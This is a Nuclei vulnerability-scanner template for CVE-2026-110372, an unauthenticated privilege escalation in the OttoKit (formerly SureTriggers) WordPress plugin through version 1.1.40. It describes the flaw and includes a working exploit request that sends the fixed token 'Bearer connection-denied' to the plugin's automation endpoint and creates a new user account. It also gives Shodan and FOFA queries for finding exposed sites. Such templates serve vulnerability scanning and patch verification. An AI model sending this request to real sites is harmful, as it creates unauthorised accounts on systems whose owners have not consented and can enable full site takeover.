id: CVE-2026-110372 info: name: WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token author: DhiyaneshDk severity: critical description: | OttoKit (formerly SureTriggers) WordPress plugin <= 1.1.40 unauthenticated privilege escalation. When an admin denies the OttoKit SaaS connection, the plugin stores the fixed public string 'connection-denied' as the site API secret. The RestController::autheticate_user permission callback reads the 'st_authorization' request header, strips a 'Bearer ' prefix via sscanf($token,'Bearer %s'), then hash_equals() it against the stored secret. An attacker who sends 'st-authorization: Bearer connection-denied' is authenticated to the automation REST API and can create administrator accounts. Fixed in 1.1.41. reference: - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-ottokit-plugin-1-1-40-privilege-escalation-vulnerability - https://wpsec.com/vuln/WPSEC-2026-1053/ - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-110372 epss-score: 0.00881 epss-percentile: 0.58802 cwe-id: CWE-266 metadata: verified: true max-request: 2 shodan-query: 'http.html:"wp-content/plugins/suretriggers"' fofa-query: 'body="wp-content/plugins/suretriggers"' tags: cve,cve2026,wordpress,ottokit,suretriggers,privilege-escalation,unauth,wp-plugin,intrusive,vkev flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-json/" matchers: - type: word part: body words: - "sure-triggers" internal: true - raw: - | POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1 Host: {{Hostname}} Content-Type: application/json st-authorization: Bearer connection-denied {"integration":"WordPress","type_event":"create_user_if_not_exists","selected_options":{"user_name":"probe{{rand_text_alpha(6)}}","user_email":"probe{{rand_text_numeric(4)}}@{{interactsh-url}}","password":"Pr0be!{{rand_text_alphanumeric(8)}}Nuc1ei","first_name":"Probe","last_name":"Check","role":"subscriber","force_update_user_role":true,"add_user_roles":true,"show_password":true}} matchers-condition: and matchers: - type: word part: body words: - "rest_forbidden" - "Sorry, you are not allowed to do that" - "rest_no_route" negative: true - type: word part: body words: - '"success":true' - '"user_login"' - '"user_registered"' condition: or - type: status status: - 200 extractors: - type: regex name: created_user_id regex: - '"ID":\s*"?(\d+)"?' group: 1 # digest: 4a0a00473045022018cf13e466a4f4fe96a5d68c912f538ddde9959984988c6de9d1bd940e0b618f022100d8825ffc19660eb7bf7ecd5177e5f15159819aaaa633f3ece12cd82d7c8ccf4c:922c64590222798bb761d5b6d8e72950